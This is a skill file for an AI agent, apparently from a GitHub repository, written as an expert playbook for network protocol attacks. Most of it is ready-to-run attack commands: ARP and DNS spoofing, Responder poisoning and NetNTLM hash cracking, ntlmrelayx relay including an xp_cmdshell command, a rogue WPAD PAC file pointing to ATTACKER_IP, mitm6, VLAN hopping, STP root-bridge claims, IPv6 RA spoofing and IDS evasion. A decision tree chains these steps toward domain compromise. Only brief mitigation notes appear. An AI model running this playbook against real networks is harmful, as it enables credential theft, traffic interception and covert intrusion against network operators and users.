- name
- network-protocol-attacks
- description
- Network protocol attack playbook. Use when exploiting layer 2/3 protocols including ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, WPAD abuse, DHCPv6 attacks, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion.
# SKILL: Network Protocol Attacks โ Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert network protocol attack techniques. Covers ARP spoofing, name resolution poisoning (LLMNR/NBT-NS/mDNS), WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Base models miss the chaining opportunities between these attacks and the nuances of modern switched network exploitation.
## 0. RELATED ROUTING
Before going deep, consider loading:
- [tunneling-and-pivoting](../tunneling-and-pivoting/SKILL.md) after establishing MitM position for traffic redirection
- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for relaying captured NTLM hashes from poisoning attacks
- [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting services discovered during network attacks
- [traffic-analysis-pcap](../traffic-analysis-pcap/SKILL.md) for analyzing captured traffic from MitM
### Advanced Reference
Also load [NAME_RESOLUTION_POISONING.md](./NAME_RESOLUTION_POISONING.md) when you need:
- Detailed Responder/mitm6 configuration and workflows
- NTLM relay target selection and chaining
- Credential format analysis and cracking priorities
---
## 1. ARP SPOOFING
### Gratuitous ARP โ MitM Positioning
```bash
# arpspoof (dsniff suite)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &
# ettercap โ ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//
# bettercap โ modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on
```
### Selective Targeting
```bash
# bettercap โ target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on
```
### Detection Indicators
- Duplicate MAC addresses in ARP table
- Gratuitous ARP storms from non-gateway IPs
- Tools: `arpwatch`, static ARP entries, 802.1X port authentication
---
## 2. LLMNR / NBT-NS / mDNS POISONING
### Responder โ Credential Capture
```bash
# Basic poisoning (LLMNR + NBT-NS + mDNS)
responder -I eth0 -dwPv
# Key flags:
# -d Enable answers for DHCP broadcast requests (fingerprinting)
# -w Start WPAD rogue proxy
# -P Force NTLM auth for WPAD
# -v Verbose
# Analyze mode only (passive, no poisoning)
responder -I eth0 -A
```
### Captured Hash Formats
| Protocol | Hash Type | Hashcat Mode | Crackability |
|---|---|---|---|
| NTLMv1 | NetNTLMv1 | 5500 | Fast โ rainbow tables viable |
| NTLMv2 | NetNTLMv2 | 5600 | Moderate โ dictionary + rules |
| NTLMv1-ESS | NetNTLMv1 | 5500 | Fast โ same as NTLMv1 |
```bash
# Crack captured hashes
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt
```
### Relay Instead of Crack
```bash
# ntlmrelayx โ relay captured NTLM to other services
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://DC01 --delegate-access # RBCD attack
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"
```
---
## 3. WPAD ABUSE
```bash
# Responder with WPAD proxy
responder -I eth0 -wPv
# WPAD flow:
# 1. Client queries DHCP for WPAD โ DNS for wpad.domain.com โ LLMNR/NBT-NS
# 2. Responder answers with rogue wpad.dat
# 3. Browser uses attacker's proxy โ forced NTLM auth โ credential capture
```
### Manual WPAD PAC File
```javascript
// Rogue wpad.dat content
function FindProxyForURL(url, host) {
return "PROXY ATTACKER_IP:3128; DIRECT";
}
```
---
## 4. DHCPv6 ATTACK โ mitm6
Even on IPv4-only networks, Windows clients send DHCPv6 solicitations by default.
```bash
# mitm6 โ DNS takeover โ NTLM relay
mitm6 -d domain.com
# In parallel: relay captured NTLM to LDAP(S) for delegation
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access
# Attack chain:
# 1. mitm6 answers DHCPv6 โ sets attacker as IPv6 DNS
# 2. Victim DNS queries go to attacker โ WPAD redirect
# 3. Forced NTLM auth โ relay to LDAP โ create machine account or RBCD
```
### Key Conditions
- SMB signing disabled on targets (for SMB relay)
- LDAP signing not enforced on DC (for LDAP relay)
- Domain Computers quota > 0 (for machine account creation, default: 10)
---
## 5. VLAN HOPPING
### Switch Spoofing (DTP)
```bash
# yersinia โ DTP attack to negotiate trunk
yersinia dtp -attack 1 -interface eth0
# frogger.sh โ automated VLAN hopping via DTP
./frogger.sh
# Sends DTP frames โ switch enables trunking โ access all VLANs
# After trunk established:
modprobe 8021q
vconfig add eth0 TARGET_VLAN
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up
```
### Double Tagging (802.1Q)
```bash
# Craft double-tagged frame: outer=native VLAN, inner=target VLAN
# scapy:
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
sendp(pkt, iface="eth0")
# Limitation: one-way only (responses go to real gateway)
# Effective for blind attacks (e.g., targeting a server)
```
### Mitigation
- Disable DTP: `switchport nonegotiate`
- Set native VLAN to unused: `switchport trunk native vlan 999`
- Prune VLANs: only allow needed VLANs on trunk ports
---
## 6. STP MANIPULATION
### Root Bridge Claim
```bash
# yersinia โ claim root bridge with lowest priority
yersinia stp -attack 4 -interface eth0
# Send BPDUs with priority 0 โ become root bridge
# All traffic flows through attacker โ MitM
```
### Topology Change Attack
```bash
# Send TC (Topology Change) BPDUs โ force MAC table flush
yersinia stp -attack 1 -interface eth0
# Switches flood all ports temporarily โ sniff traffic
```
### Mitigation
- BPDU Guard on access ports
- Root Guard on designated ports
- `spanning-tree portfast bpduguard enable`
---
## 7. DNS SPOOFING
### DNS Cache Poisoning
```bash
# bettercap DNS spoofing
bettercap -iface eth0
> set dns.spoof.domains target.com, *.target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on
# ettercap DNS spoofing (via etter.dns config)
echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//
```
### Kaminsky Attack Variant
Flood recursive resolver with forged responses for random subdomains, each including a malicious authority section pointing the NS record to attacker-controlled server.
---
## 8. IPv6 ATTACKS
### Router Advertisement Spoofing
```bash
# Send rogue RA โ victim configures attacker as default gateway
atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64
# THC-IPv6 suite for comprehensive IPv6 attacks
atk6-parasite6 eth0 # ICMPv6 neighbor spoofing
atk6-redir6 eth0 ... # Traffic redirection via ICMPv6 redirect
```
### SLAAC Abuse
```bash
# Advertise rogue prefix โ victim auto-configures IPv6 address
# Combined with rogue DNS (RA option) โ full MitM over IPv6
# Windows prioritizes IPv6 over IPv4 by default
```
---
## 9. IDS/IPS EVASION
| Technique | Method | Tool/Flag |
|---|---|---|
| IP Fragmentation | Split payload across fragments | `nmap -f`, `fragroute` |
| TTL Manipulation | Set TTL to expire at IDS but reach target | `fragroute` |
| Encoding Evasion | URL/Unicode/hex encoding | Manual, custom scripts |
| Session Splicing | Split TCP payload across segments | `fragroute`, `nmap --data-length` |
| Timing-Based | Slow scan to avoid rate-based detection | `nmap -T0`, `nmap -T1` |
| Decoy Scanning | Mix real scan with decoy source IPs | `nmap -D RND:10` |
| Idle/Zombie Scan | Use idle host as scan proxy | `nmap -sI ZOMBIE_IP` |
```bash
# fragroute โ fragment and reorder packets
echo "ip_frag 8" > /tmp/frag.conf
echo "order random" >> /tmp/frag.conf
fragroute -f /tmp/frag.conf TARGET_IP
# nmap evasion combinations
nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET
```
---
## 10. DECISION TREE
```
Network access obtained โ want to escalate via network attacks
โ
โโโ On same broadcast domain as targets?
โ โโโ YES โ ARP spoof for MitM (ยง1)
โ โ โโโ Capture plaintext creds or redirect traffic
โ โโโ NO โ need VLAN hopping first (ยง5)
โ โโโ DTP enabled? โ switch spoofing
โ โโโ Know native VLAN? โ double tagging
โ
โโโ Windows environment?
โ โโโ LLMNR/NBT-NS enabled? (default YES)
โ โ โโโ Run Responder (ยง2) โ capture NetNTLM hashes
โ โ โโโ NTLMv1? โ crack fast or relay
โ โ โโโ NTLMv2? โ relay (ยง2) or crack with rules
โ โ
โ โโโ WPAD configured or auto-detect? โ WPAD abuse (ยง3)
โ โ
โ โโโ IPv6 not hardened? (default) โ mitm6 + ntlmrelayx (ยง4)
โ โโโ LDAP relay โ RBCD โ domain compromise
โ
โโโ Need DNS control?
โ โโโ MitM already established? โ DNS spoofing (ยง7)
โ โโโ DHCPv6 available? โ mitm6 for DNS takeover (ยง4)
โ
โโโ Managed switches with weak config?
โ โโโ BPDU Guard off? โ STP root bridge claim (ยง6)
โ โโโ DTP enabled? โ VLAN hopping (ยง5)
โ
โโโ IPv6 attack surface?
โ โโโ RA spoofing / SLAAC abuse (ยง8) โ MitM over IPv6
โ
โโโ IDS/IPS in path?
โโโ Apply evasion techniques (ยง9) โ fragmentation, timing, encoding
```
View on GitHub